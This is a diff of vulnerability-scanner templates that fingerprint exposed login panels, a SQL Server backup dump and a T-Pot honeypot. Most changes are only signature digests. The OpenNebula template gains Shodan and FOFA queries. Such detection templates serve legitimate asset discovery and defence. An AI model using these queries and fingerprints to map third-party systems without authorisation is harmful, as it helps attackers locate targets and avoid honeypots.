+# digest: 490a0046304402204e53b867bb34b1d982161f1e65753808d462be43cfe045e31a95db9962f3fc1a02200b5f8558bd9a47322e8d282c9289b22562f43cde8e9e77fde77e4339efd8cbcf:922c64590222798bb761d5b6d8e72950

http/exposed-panels/apigee-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'Version:?\s+([0-9.]+)'
-# digest: 4a0a0047304502203fba69d8f284e90b149554e8be106d398162e0dc75c8a99923329c3bdb6f39aa022100c30fa3578c80486605c60fe9952f07c546bfe478ef77621f62cdd7d65c323f19:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e8296cb32a0e6ccd96d6e75d8d12044841dc23b7172eab9bdf1de1542138b98b022100e59cdb93e7966432a993051ab5c5c2f4f54100ae53d9f483ef1724465433fed7:922c64590222798bb761d5b6d8e72950

http/exposed-panels/blue-yonder-panel.yaml

@@ -29,4 +29,4 @@ http:
           - 'status_code == 200'
           - 'contains(to_lower(body), "title=\"blue yonder\"")'
         condition: and
-# digest: 4a0a00473045022059e7c745df91f4e8efd592cd7a82adde028a6549ea821d9606fc5fef25265f9f022100c06a73fe0d190df3fc4ac92fa815db9868bf2f94248f49f15f72cc670b4614f3:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d0c551943222f103095e6833676409d1b89927246dcd4d9347c00a1a9623b48a022100ab33a61e3f04596a58ac12d10f3b00c1228683202263d6a7ae6c2b0a4f655a9e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bmc/bmc-controlm-mft-panel.yaml

@@ -27,4 +27,4 @@ http:
           - 'contains(to_lower(body), "file exchange</title>")'
           - 'contains_any(to_lower(body), "main-b2b-icon.png", "fileexchange.ico")'
         condition: and
-# digest: 490a0046304402202af7f7ddc470e07d81447880f7b77f3e9f1f710b846cade93e757884d767792d02201da86124539f2723559de70b2a5805b2f9fdf7e31b4a609ca0e95f5e19d4d9d5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008deee3cdca7c79d8d92e772f822dcb2bc769a218674b0f3d7df20543a783af2d02210090805cbbe49d82b4ff6fe386aac358a59b9d955e53b8904bea5ebe38cd411afd:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bmc/bmc-remedy-sso-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code == 200'
           - 'contains(to_lower(body), "<title>bmc remedy single sign-on domain data entry")'
         condition: and
-# digest: 490a0046304402207b04e3ff6a8ad11a128473388d58b21fd83a42e04c1dc3f12108ad3b7cbcbaf702206f43c1bb09b608fee3020903a6f89c8c7e747a33b4923d1571adb358bf9e79f4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206c1455622c3cf984e0a817fa28e599059755246ee99bffd14cc59d30fb5e3981022100e33d4e02ee0a9348a34bbcfc06550a29d713de596ee973503309b2c2168881f1:922c64590222798bb761d5b6d8e72950

http/exposed-panels/bynder-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'http-equiv="version"\s+content="([0-9\.]+)"'
-# digest: 490a00463044022046a78b1a2718cd4451b47f77e522522fce3041f5e00aff931e277f0783f4f1d302202daa90f00f0bb99f63adcfea3f46594bf65a02c57f9aa93138ee7f15d0dfc6dd:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b0bf38923e1f658d7ef8735eea48c1479e7357324d75b35ee3dcf356db1841c5022049e3e0a99a03a30356ffc11a21daf0c96cf33ff45ad4cc80b59af91a3c56210c:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-cm-panel.yaml

@@ -28,4 +28,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100f78fa9b28ea8e9bdf22039374413ecc041626cde25f122422d1b4df9ef4bfb00022100ee9fa8a2cf1eb8818b5d06f76f55cfbc8745191a712388c3eaf30555c62a78c9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220394ea58b375e7e43b17c60804b4a3337f7fbd1fe9d124dd62aaba44038f56316022100ca5447006000f19fbcf08e746846936e71225aae0d6e697cdfaaf669d327128a:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cisco-prime-license-manager-panel.yaml

@@ -28,4 +28,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100cb299bd33cb68367afd366c33d9c258fc91f83b72aaf3212b9959328c6276147022100e34404f44140eba9c09dcb42faf18ce468efd22401da425b7886e85755440566:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220480866a2415e5bcc6e3188a6a017e438029959eccd36108e90bf193bcd19d510022100f9780ee8f9fed7aa5c7a270e04ef0dd1f72357f1be9f1c4d23ad1a2d24cc2958:922c64590222798bb761d5b6d8e72950

http/exposed-panels/cockpit-project-panel.yaml

@@ -47,4 +47,4 @@ http:
       - type: dsl
         dsl:
           - '"OS: " + os + " | Hostname: " + hostname'
-# digest: 490a004630440220363a3568fc89a489d9f3ba3d335edda1712ee6e4c64bf157b607e54e27e0c9a1022051e631b8efdcccc4655b3d5b9278cb5316265f4e02605f5f6d9f772935d3128f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d693d789172d041bb490e99b90e8bf21e97249ab3bb5b3f731e0612e98f8841802202cb25952406dd970cf56770f728bd113e34dff87d44f53b04d4b677780394399:922c64590222798bb761d5b6d8e72950

http/exposed-panels/easyvista-panel.yaml

@@ -33,4 +33,4 @@ http:
         regex:
           - '(?i)package:\s+"([a-z0-9._-]+)"'
           - '(?i)version : ([a-z0-9._-]+)'
-# digest: 490a0046304402202c7ed89164087597ba33fa20d0b7d2665e0de379033b107efa0cb9dabda2300c02204293d84f1e7394a88c83255ffa7d612bae32b1c2f30675c77f9d0fd7d1a929b4:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200c41f2e1ec938d18a632f1cfa3bb72be0df2f293529757c304917348ca99eb9d02204efcec5b3ecd0a50d9eb2b3f648e6c184bc84e4bc94b25e06fd603f41ab5574d:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortirecorder-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402207219573aa4c46f7aac7de975c689343769b8d1ebfe426a3c776dd89523b6133f02201a899af41d7496ca191aaf93d7c48f471dee3ad7638bb4718826f343f09a6886:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a04c0e3c39190689c56f47fa91730b3d844a1bacb843f9c85ee5f37119e3aa0f022100cacb78149eab911cbbf590b128f29731bb8aa7c60dfe2f9f9f6d3e0f3dc57ad2:922c64590222798bb761d5b6d8e72950

http/exposed-panels/fortiswitch-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022021d5e372261ad230ada4136799d7e380cfb8368fb9de1a5ca0a44244314bd359022100ef534050e46ec02c8c558bbd2cbc8c2f88bd9ae74b383b5f60900c5629458cd1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100867c7b58cbc6965486884556f05fb0ab3e1c1e629868ac0b5ed5722992d8a75702210094fb3a83743119cf6831b3b48ce6d3c585690c57538420413f6dac6267445afd:922c64590222798bb761d5b6d8e72950

http/exposed-panels/gladinet-centrestack-panel.yaml

@@ -30,4 +30,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402201674901eb8cdcab4b92ce036ae0bdea31c3707d9a47fb7db5defcd0a41f281e0022075656e51a6f54cc37cbbae30c07011adc0c0fbb7721d5667c077dc60ba8e3a04:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201691627f7ada9f89a8bca457986c70a620dcd9c73f58ffe327591aa1b91ffcdf022038612d61737cb45e120633884bc230dcfe3bdf9f2e03bcb4b9109b0f6084bcab:922c64590222798bb761d5b6d8e72950

http/exposed-panels/haivision-media-platform-panel.yaml

@@ -24,4 +24,4 @@ http:
           - 'status_code == 200'
           - 'contains_any(body, "<title>Haivision Media Platform", "content=\"Haivision Network Video")'
         condition: and
-# digest: 4b0a00483046022100b8055d18010832e58cc7a9eda43cfc641a5fa72731de7dc040473abfbbe761f0022100a19d9ec9984463488e07f1c2036d090fd240d1188384a9f25dcb3beb4aa038c5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c5e45ef2885d74627ed5d7bbc58ea3c7f9011b55af38511f1436e8b4c34f5ca7022100e69f3810960007bd950c838681be7290775eb26824226d7563bdfee95adad654:922c64590222798bb761d5b6d8e72950

http/exposed-panels/hyperplanning-panel.yaml

@@ -33,4 +33,4 @@ http:
         group: 1
         regex:
           - '(?i)Server:\s+HYPERPLANNING\s+([0-9.\s\-]+)'
-# digest: 4a0a00473045022100d88581d5f0e1e7892aa7536779848fb0502b82c677857371d689a1ca1dda99bf02200f0efae605195051b4e5f3a7a62b36939347869ad429b1e2207e39e7eeef1189:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202185652649ae3bcc7aa06f63f60c59cec3fc62b3edfdec8111c5797ff4cfa19b022041e1845be758292ab5dce97081cfc4021b7e2f99b76de688741ec345d7559aa1:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ivanti-csa-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502203c47f0dcca5a58f40cfc404ea1d1a2a4c2e8a13a8180fbe4c84345083403fc41022100a4a4230f047297e09f18cff1b2c5f5dc7fc0012bd2a331272bb778d3e590de07:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022019d3c114350578ec36c4520c1969cb8bb0cf215fa3bb15ab74d68fb7e8bfe052022100e7b3992098508bdf956fb11997119ba1dc63047797a9b6b9880dd648733c9260:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ivanti-traffic-manager-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022069fae88d997145fa3e4ad20ec269e70c3c7795a9e8996313a96d67704cd1f9770220624f816d415ff64c191ba18f1a90ea56780318189bd7f21ca3e7c6f98148b564:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206b7c059b7afc2c16eafa5b32b91aee33037df646e11110c9aeabc00b4dd70683022070fa39727e1f911fa9dd79804060ca420a433efd67f65d73e4ed754dfbc7bb1e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/lorex-panel.yaml

@@ -31,4 +31,4 @@ http:
           - 'contains_all(tolower(body), "<title>web service</title>", "lorex")'
           - 'contains_any(body, "/LOREX_webplugin", "lorex_msg")'
         condition: or
-# digest: 4a0a0047304502205ffefcbb15856cde8b9c0fadf8670de55984917f17ee716963bf357dc12de437022100d04655267d46ef094de9362bfc114f4c4ec7c68f317014c604a667e46b41679e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220344c5c2fcad0ac9d1d1a094b380321a65f4baace57295c3e2e3cb2ab1027ea83022100d0020225905e7e8c37cd86fa41b3dfecab3ce673c61b9f0197c08c217ba36305:922c64590222798bb761d5b6d8e72950

http/exposed-panels/metube-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100e2226b72a0dee76428efeb4ab5edc524f914ee1550a0b5bd777dd329e36bb482022078b8b72175e4df4a820147ecc7a4dcb74a9c3509cdd92af208e255ed71e4cba5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022037ee37c39698aeb73abc29405afa576e8d79ed6c956e68f230689cf22e24a16c022100ae30386115c8b368d68bf56c245671677023c7219b93b5a1077cbd76475818cd:922c64590222798bb761d5b6d8e72950

http/exposed-panels/neocase-hrportal-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'name="version"\s+content="([0-9\.]+)"'
-# digest: 4a0a00473045022100827630f0a21d33e74e101ca680bcc8ece4192a93eca39e9044c4be426bfd84760220724eca15898d718992697075a2951289da516fac0419232745a6658bc2710121:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205718df9b3a6f50b70bd0b68a9263d93e3af3328f88b44000df56339180729908022100a141d073337e3a3ceabae18c1b5650bb06b67417ca64d29d21885b58e2a2935f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/nexus-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - '_v=([0-9\.\-]+)'
-# digest: 4b0a0048304602210081e9be0e25c56202d3619200a73dec423bccfa2ff305242520cacc2aaf516248022100d8798bc3332db8b6df19c7860b3a09eb03207142505e0aac6b177849588e5cf8:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008b3581495991874af536a487d589b51920fb6ecf626c21f133a9ab34b08158f1022100eb8c8c0d6d903b0bf4ab6e417901706b4f64eb3f54f12592bb02ecfbc13316fc:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ngsurvey-panel.yaml

@@ -25,4 +25,4 @@ http:
           - 'status_code == 200'
           - 'contains_all(to_lower(body), "<title>ngsurvey enterprise survey software</title>", "ngsconfig.js")'
         condition: and
-# digest: 490a00463044022039cb26b662cc8b60b8ef2521529dc69ac65f4d6ae27a38dd4e8271d647bb156802202f0a4e4a0feacd6821f9a5d867059d7ddcf0c6668a14b6d7d63f4e7aeaa36f5a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022016b8a331c00cf627672c74a7a3c1a5df9e3c43fb90145a0900b50d1e4563be7e022100ce5b84552a352d0a4776b727b8cc3db7a84d6863ffdf9fb1c897ed3e3d22f5c6:922c64590222798bb761d5b6d8e72950

http/exposed-panels/opennebula-panel.yaml

@@ -2,7 +2,7 @@ id: opennebula-panel
 
 info:
   name: OpenNebula Login Panel - Detect
-  author: kh4sh3i
+  author: kh4sh3i,darses
   severity: info
   description: |
     OpenNebula login panel was detected.
@@ -15,8 +15,16 @@ info:
   metadata:
     verified: true
     max-request: 1
-    shodan-query: http.html:"opennebula"
-  tags: panel,opennebula,cloud
+    shodan-query:
+      - http.html:"opennebula"
+      - title:"OpenNebula Sunstone Login"
+      - http.favicon.hash:-1616420987
+      - http.favicon.hash:656672194
+    fofa-query:
+      - title="OpenNebula Sunstone Login"
+      - icon_hash="-119786698"
+      - icon_hash="656672194"
+  tags: panel,opennebula
 
 http:
   - method: GET
@@ -28,10 +36,18 @@ http:
       - type: word
         part: body
         words:
-          - 'OpenNebula'
-        case-insensitive: true
+          - "<title>OpenNebula"
+          - "OpenNebula Systems"
+          - 'target="_blank">OpenNebula'
+        condition: or
 
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502205ba563bfdaf077e13dd975faf9a2faf653d7ebc25e8fe79fdd54f4d90029eedb0221008a169bce5503562f2a7601bc2c733efd0dc63cc9c9aecbd44f7af1fd86d9acb0:922c64590222798bb761d5b6d8e72950
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "href=\"css/app\\.min\\.css\\?v=([\\d\\.]+)\""
+# digest: 490a0046304402205a9c66c9fb4c72f76497b448b7f8fd64d67fb0fdf9ad4bfe9eb9bac687b1823602203a3a586e126fc3bd9a1d8729d55e846ca054f40d6e9cd183ca96c921bfb053cc:922c64590222798bb761d5b6d8e72950

http/exposed-panels/openwebui-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022052d863e2fd1bb39b241ee23b08dd8cec60b72df2483013a5027505b44425a2e9022035d14ffd5d18ba51eb3a8275059f686c1a3e22365ba9f42c70e5d23dab2d7b79:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e7c8655a33f0a6967e90701994817e8b4d1cdb42ff4e5a0bb14c78d75125331b02210093df1be42fa338fc158d67b99456b77acacd195866e924ec6196a62fca2f5313:922c64590222798bb761d5b6d8e72950

http/exposed-panels/oracle-access-management.yaml

@@ -51,4 +51,4 @@ http:
         group: 1
         regex:
           - '(?i)Login\s+-\s+Oracle\s+Access\s+Management\s+([a-z0-9]+)</title>'
-# digest: 4b0a00483046022100c2bd56572e5f2b6306c27490cb3412688109fcfb538e5441696e94766d0d9d15022100afce97375f58b467a38a3b4b5ee75b080c53f9e08112495c1dd06c9f80f1fa3e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210083e30005ef602c03df8fc1dab8d04726a5f39deed15beadb1886de07d8c7500902201b7c9c117fa10a8be4f2906b98529fedbc218c9305dba3513ca0a9f0c666362c:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pairdrop-panel.yaml

@@ -33,4 +33,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402205f92068b571631d7ad4cafe00f2461c5d7888bef1a5c33587f67be674f6cf2090220354958172052e76c2281b34c90ba6ce2e5c8af92f35463038b19c5e94510cbb1:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d031749dcb0ef81b3a5afd3e201ee3fbc320433ec2411fd8d1e2e0fe8b641a20220374865bd2f8ddc8fc4df935bfa80591530c7c51abc9f46e68fa83678ad2c2130:922c64590222798bb761d5b6d8e72950

http/exposed-panels/photoprism-panel.yaml

@@ -27,4 +27,4 @@ http:
           - 'status_code == 200'
           - 'contains_all(body, "PhotoPrism", "login")'
         condition: and
-# digest: 4b0a004830460221009908f44e50eaeb75c90515a392ab9d042e8f372290a5d4c8f1ddf29875a52896022100dcacaaee2395434822a14917182727e0ce2e2318d610093c464d9ac1402c0926:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204162550109420e9012c051bd803ef77194d7f53da812cfb5fa08e0c3452c57140221009a548f450138ee00fa097ac64f9759f440e34ec28ff552a171c8e213496a2538:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pocketbase-panel.yaml

@@ -31,4 +31,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022054a542b43e9ab26946f5128d08d137bfe3b115fdda36e0fc3b2b8db91b87ee82022100af3259400147a59d33dda7d60e5ef5411f63375f184ff5a7b39e6f25b2d54297:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a472e1bbfd637a2383759f24121aca98f479746e46d15286396e4e1f5248be7002207824d1cdb8bff499a2ea6a79d98d627c5a6ecbddc5b77493f107c1ed6e99181f:922c64590222798bb761d5b6d8e72950

http/exposed-panels/procore-panel.yaml

@@ -29,4 +29,4 @@ http:
           - '<title>Procore Log In</title>'
           - 'Log in to your Procore account using your email and password'
         condition: and
-# digest: 4a0a00473045022100bd6c798451141422b14c13f88ac502f858826b28d2e7f91be904e46efd50c46902205ac5426e026930df75c97d69c365c1a14fb98548428fc116f968018414c6b296:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022027fd4e22f6ad73cc8690b0cff6735be952b5a76dde75c0b2422aaf33387fcb3c02202df5abb7768123b7163be5b0be3f75660435a042b16c9dcf78507645a6220cfd:922c64590222798bb761d5b6d8e72950

http/exposed-panels/pronote-panel.yaml

@@ -33,4 +33,4 @@ http:
         group: 1
         regex:
           - '(?i)Server:\s+PRONOTE\s+([0-9.\s\-]+)'
-# digest: 4a0a004730450221008a0d9c3b18245268865aa38b40cb7b907463300906554e0ba4a14964d21d2f1602206988471ad5bda9480dbc7f1d213838923acb7927de24192dff46499274e2ac4b:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202684b857474bb20fd5a113f1ad9cdb35470a58031b0fb1011c9a152dee6f438a022058d66d703f149dc4131c7fbe6dda551fe01a97a531d6933c9682e96d5746dcd2:922c64590222798bb761d5b6d8e72950

http/exposed-panels/safenet-authentication-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - 'V=([0-9.]+)'
-# digest: 4a0a00473045022024fca95a3935de33491b03b8eb9e5a65e5299be2b1ee729c2f2c5ad6b5a246be022100b692215a602421861705a8f698fa17bba5a2bfbd9af9f02532b48c74b521d948:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bff07adbf342104855343970a212d106d1e171847b3d8e8ac7cf89666ec29bc5022032686815fd434ed310be159a834db76968418f46375ad64a881d0afff17dc235:922c64590222798bb761d5b6d8e72950

http/exposed-panels/skeepers-panel.yaml

@@ -35,4 +35,4 @@ http:
         group: 1
         regex:
           - 'Version\s+([0-9\.]+)\s+-'
-# digest: 490a00463044022010a8f2e4cf04cccbe0e6353eb5331fa6f652adb9507cc617b80a1dcc6fd011fe022029fb1318ee1bc3482949fa145212b0848461409efdb764908f5eff0f05b0eb3a:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207398b47c739000f4541871451c897894e39863da0daf2ea6898ff869e1784165022005bd07de454a66d85c8bf81db1f9496e22da2326ceea4bbcc2a2d00f160e89f2:922c64590222798bb761d5b6d8e72950

http/exposed-panels/tixeo-panel.yaml

@@ -35,4 +35,4 @@ http:
         group: 1
         regex:
           - '"applicationVersion"\s*:\s*"([0-9.]+)"'
-# digest: 490a00463044022078b9f6b224cfbe5ee761b0881db3c1a8b79ded25266ba85e41e9e9bedfceb4d102205bd1bb79d42bac9a699602659665c91c52d20c23930510874c57e76cc359906f:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220579e94bc7fd94561a9a5d3138463834850427b7dea8600fea9b7125037a01cb502201a66704155a4600ab450dd238d12b1e6426a3525a25aef847735be33262a6c5e:922c64590222798bb761d5b6d8e72950

http/exposed-panels/unleash-panel.yaml

@@ -37,4 +37,4 @@ http:
       - type: dsl
         dsl:
           - "status_code==200 && (\"-608690655\" == mmh3(base64_py(body)))"
-# digest: 4a0a00473045022100ec85c351cb21e227737f60319caa6b58a81c821f015e98a22e9734f002de3ac202203cb9a306cc9d3cded2936b60dec46970cc38e3c62b20b3dac03d72d96798f7b2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022036b6d969886d6a335d192005d9d71e59e95af3026c6acf79fb4942f3066dfe55022100f5047d7e3124c3ca393942b979be4d410f874e6fc9b2f95c255d6ced9f6fe4f3:922c64590222798bb761d5b6d8e72950

http/exposed-panels/veritas-netbackup-panel.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502206229df07600a72007dd48374d0422d006e31e124c304c41c7509a54d6e9ca098022100ee74e28cfba00593459240c02bec46c4b3bf53ec116bb53627037a956a9ad920:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022076f644a3ff8924f5218492a6ec8f8ee19f4a3218ca3762f181801840325734de022100fbd5a47f5d040a150804a711e4b01c26cef566bd41b9fa2a65007bd730545bde:922c64590222798bb761d5b6d8e72950

http/exposed-panels/vince-panel.yaml

@@ -25,4 +25,4 @@ http:
           - 'status_code == 200'
           - 'contains_any(to_lower(body), "vince - high performance", "vince · open source web", "Welcome to Vince")'
         condition: and
-# digest: 4b0a00483046022100c043bc3d7774c12c411b1bfbbdb1f08de14186b9942c9fd6f92c72cd62137a19022100dae87eb76726b22c787b48c47ce001ab009b17ec84242ed5f3b7c1fb5e79f8a7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cda9f6b3541bb67314f0fc07e1e45ffe134a2c1ee1546ae47905a217c4c8eeb1022100b4576bf5ce1afc266885bffbf1d61c9ab849f1bdd107c02e8ee7930e9b8091ba:922c64590222798bb761d5b6d8e72950

http/exposed-panels/vmware-aria-panel.yaml

@@ -27,4 +27,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100f7d880a30beacc4089a6e9bac6f0de89722a3aa91912558d208e6eadcc1c1c840220774b055dcab27c963ce7cae5bdd386a971346261e41e60e039a7f058680425b8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100da5661faa48c5658208f27fba77d0a0aaf5b67b1cc419011a90ec11a265d985002205bd4e6950601f44ee1bd85e3b06fbe9be7f92a4321ff542a108239bc39a5c268:922c64590222798bb761d5b6d8e72950

http/exposed-panels/wildix-collaboration-panel.yaml

@@ -29,4 +29,4 @@ http:
         part: server
         words:
           - "wildix"
-# digest: 4a0a00473045022100d68d3e3fc8ab0feb43e8f153b7b819ea6d47f7e5dcf634306ba7ace955540e8d02206879ac9650bb4da1262f9d3ce9ae42f9920c973e2c16e079c4e6707349182316:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f22ac2f5ecc82bf1245cb43a85a40d64652910cf80c88f68c15db87c034b97f4022100c543841a65a6ed3c97e1f59934c813aaef95c8107e60f517ad33f854fdb1f551:922c64590222798bb761d5b6d8e72950

http/exposures/backups/sql-server-dump.yaml

@@ -58,4 +58,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502201930fd6b362749b27fdc38ace6a5eaf8eb6a051010467aa251083a794752bbca022100bc37d57c5b0fe1d21874fb07e4ebc11338281ae853b19a31301d59e5d19c1ee6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022077cb72c623887883ffcca54dd0b81dcc0e105a723c92a446505072a8bfe2fd8f022100b36cdd77b1a9dea636e6a80c97f4799ca4ec93811f7dd9555ef97b736018ac55:922c64590222798bb761d5b6d8e72950

http/honeypot/tpot-honeypot-detect.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402203fafc2ec94aba6d78151e499dcedee265d0ddfa7dbc3edc85339fb1d4e612c77022054eb80989362550dbddc305e23d3645279184bd2e000e1f99d28b7bee21aadb2:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207daabc8d88bdc17dc682ee5e35a3df4c4104e513bf92f8dd80a038d09bf128d30220657cb49d6dbcd84bdd0a11cb1d4da80bea6e3acc3aff3c773b126702e9e48d73:922c64590222798bb761d5b6d8e72950

http/miscellaneous/assetlinks-detect.yaml

@@ -26,4 +26,4 @@ http:
           - "contains(body, 'android_app')"
           - "contains(content_type, 'application/json')"
         condition: and
-# digest: 4b0a0048304602210099aceaf12f2ce595de2e33620043d995dc28abdaa73d75ddcc0c27fb2a1174a202210088b685b46f7e0ae263a188dbb076f283b2b8c28365f1ad2258099e973bfeff70:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d9f426ba231f999f0e829c8063093c152a2b2373bc7dce1162f39f906fb8dbd4022100d0ffd7178c2899928d257ec9853ee03f0fc86055a4a3291974bfe08f10af4bd6:922c64590222798bb761d5b6d8e72950

http/miscellaneous/discord-invite-detect.yaml

@@ -30,4 +30,4 @@ http:
         name: discord-bot-invite
         regex:
           - "https?:\\/\\/discord\\.com\\/oauth2\\/authorize\\?client_id=([0-9]+)[^\\s\"']*"
-# digest: 490a00463044022014eab548209bc4c6aa3f72f3e3aef56a20f843f10ccd5bbf71debe46153bf8d502204e9be8acc19ff24cbda51a6ab81055d874a8c6faf33085a627a512d0f787d330:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d353fcfcab6a0d43c60ee13eb516d42cfdfda5e79edec901645b5e5ea133931402201a328f34732785a6443542fb40e501412e06354d4d2bd035c88d60327dc9f298:922c64590222798bb761d5b6d8e72950

http/miscellaneous/dnt-policy-detect.yaml

@@ -28,4 +28,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402205317394ce438bc2d23840dd4a1c325777af335687145fd1eef9e7cc1a94dbeab02206b8af0d1fb17f8741c5e64bc55353c5f31149797b48cf041c9efd7c7ca137c4c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200ad994896e79b7bd5f99f5780caf8c45d8a8a342ca6fa21a97cc4d23dc2dd3c60220764a023a95e00a3820723b71231e5e6b57c0919e28385b0fc46b20bff273597d:922c64590222798bb761d5b6d8e72950

http/miscellaneous/keybase-domain-owwnership-verification.yaml

@@ -36,4 +36,4 @@ http:
         part: body
         regex:
           - "-----BEGIN PGP MESSAGE-----[\\s\\S]+?-----END PGP MESSAGE-----"
-# digest: 4a0a00473045022100cbbe9c2a88e7121f86ed934976bc95f13dd9ae96d558251d0091dc5e7113b22f022020b9db0c63775e08dd5a1ce6167f0cc3514fd0cf0389caf3346dc9acc40a1cc3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205bda17bf840de8cc530fef722c7f269ea1a16f9c1f7fc18cb5b9a578ff718342022100fa1b63bd1076c396a8118a424a324a759e5390e4f4dad708cb7162bcc844fec4:922c64590222798bb761d5b6d8e72950

http/miscellaneous/maxforwards-headers-detect.yaml

@@ -31,4 +31,4 @@ http:
         part: header
         regex:
           - '(?i)max-forwards:\s+([0-9]+)'
-# digest: 4a0a004730450220208d5770f53ad456d84ac53f008d2465fbae56ab7331b384e5ec931fe27eaa10022100d27adf98440a3519556b817383fa78001dada22a7492d37dfbb0cca9fd97205b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bafe43dd832882b0937293d6ebfee56c6bda19d62ccb7edbeb16e3feadaef26b0221008394a5a5d3a2dcf994c74fd00ef8f5942e91ec546687bf247e365f11b24fe629:922c64590222798bb761d5b6d8e72950

http/miscellaneous/onion-website-supported.yaml

@@ -28,4 +28,4 @@ http:
         group: 1
         regex:
           - '(?i)onion-location:\s*(https?://[a-z0-9]+\.onion)'
-# digest: 4a0a00473045022013ab2a05d593a0ef0f418d1bcf9a03f85fce2109446365adcb27d8d961a55821022100e37d3a99e82c45a26b48cbe3d3dbdba90dc9a3671ce11a33f801efb0e3427b96:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ed13d3e24aa3da8bf6e7786dc5bedb85790f99340a76ee6b2572c97630f3904902210081925c3d1b7199ffb88563f5f961e48ef1d869203301ed551932d254a05d3182:922c64590222798bb761d5b6d8e72950

http/miscellaneous/robots-txt.yaml

@@ -5,7 +5,7 @@ info:
   author: CasperGN,TheZakMan
   severity: info
   metadata:
-    max-request: 1
+    max-request: 2
   tags: miscellaneous,misc,generic
 
 http:
@@ -20,16 +20,17 @@ http:
     matchers:
       - type: word
         words:
-          - 'User-agent:'
-          - 'Disallow:'
           - 'Allow:'
+          - 'Disallow:'
+          - 'Sitemap:'
